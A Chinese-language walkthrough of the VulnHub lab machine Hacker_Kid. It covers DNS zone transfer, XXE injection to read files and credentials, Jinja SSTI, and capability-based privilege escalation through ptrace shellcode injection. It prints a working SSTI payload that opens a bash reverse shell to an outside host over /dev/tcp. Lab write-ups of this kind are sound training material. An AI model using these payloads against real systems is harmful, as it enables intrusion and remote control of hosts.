VulnHub靶场 Hacker_Kid
VulnHub靶场 Hacker_Kid
特让他也让主机发现
主机发现
得到目标 IP 为 192.168.111.136
,对其进行端口扫描
开放了 80 和 9999 端口,80 界面如下
9999 界面如下
DNS 区域传送
对登录框进行弱口令测试,失败。回去看 80 端口的 web 页面。页面上有三个子页面
点击 start 跳转 404
得到目标服务是一个 Ubuntu 系统,而且当前中间件是 Apache。连接为 http://192.168.111.136/index.html
。为什么会 404 呢?将 html 后缀改成 php,成功访问
点击第二个 app 入口,页面无变化,URL 如下
1 | http://192.168.111.136/index.php#app.html |
尝试访问 http://192.168.111.136/app.html
,得到如下界面
经过测试,这些按钮一点用没有。发现此时顶部栏发生变化
点击 Form example
,跳转到如下界面
填写内容,启动 Burp 抓包,啥也没有。尝试目录爆破,结果如下
啥用没有。查看目标源码,发现在 index.php
下存在提示
内容如下
1 | TO DO: Use a GET parameter page_no to view pages. --> |
提示创建一个 GET 请求参数 page_no
去访问页面,感觉可能是文件包含,构建 URL http://192.168.111.136/index.php?page_no
,尝试访问,发现页面发生变化
要深入了解点?尝试传入参数,手动测的太慢了,用 burp 跑
参数值为 21 的时候,发生变化
给了一个域名 hackers.blackhat.local
将其加入 Hosts 中,进行访问
好吧,没变化。不过他既然说创建了子域名,我们可以尝试去看看有没有其他的子域。我们可以用 nslookup 进行区域传送
发现一个新的域名 hackerkid.blackhat.local
将其加入 Hosts 中访问,跳转到如下界面
XXE 注入
我们在得到的页面里创建一个用户
报错。抓包查看
请求体是一个 XML 格式,我们尝试 XXE 攻击。注意,我们要注入的地方是 email
这里
成功。然后就是读文件了,我们这里发现了一个用户 saket
我们尝试读取这个用户下的配置文件
从中得到了一个用户名和账户密码
1 | username="admin" |
我们回到 9999 端口下的页面,尝试登录。登录失败。
我们是 saket
用户下得到的这个账户密码,那试试直接以 saket
作为用户登录。
登录成功
SSTI 注入
页面显示内容如下
1 |
|
告诉他 name,可能是传参,尝试 GET 请求传参 name
此处是我们输出什么就返回什么。我们这里瞎输入一个,比如我这里输入的是 dksadkWQAP{OKDawDADaklw;d+_}{{}?":":D:LAW"PLDPWALKDklas;daw
发现返回的结果不同了,在 ;
后面的结果没有显示,我们把 ;
去掉呢
直接报错了
1 | Traceback (most recent call last): |
我们这里就得到了这个脚本的位置,/opt/server.py
,我们利用 XXE 注入去文件包含它,得到源码
具体代码如下
1 | #!/usr/bin/env python3 |
一眼望去,发现目标存在 SSTI 注入。尝试注入
1 | {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.135.192/9000 0>&1"')}} |
成功拿到 Shell
Capability 提权
上线一下 MSF
查找设置了 capabilities 可执行文件
1 | getcap -r / 2>/dev/null |
发现 python 有相应的权限。我们查一下当前主机上以 root 用户运行的进程
我们这里准备了一个提权脚本,这个脚本的作用就是对 root 权限的进程注入 Python 类型 Shellcode,利用 Pythono 具备的 cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听 5600 端口
1 | # inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. |
将文件上传后使用 python 运行。
这样就注入成功了,此时它就会启动一个 5600 的监听
用 nc 连接就行了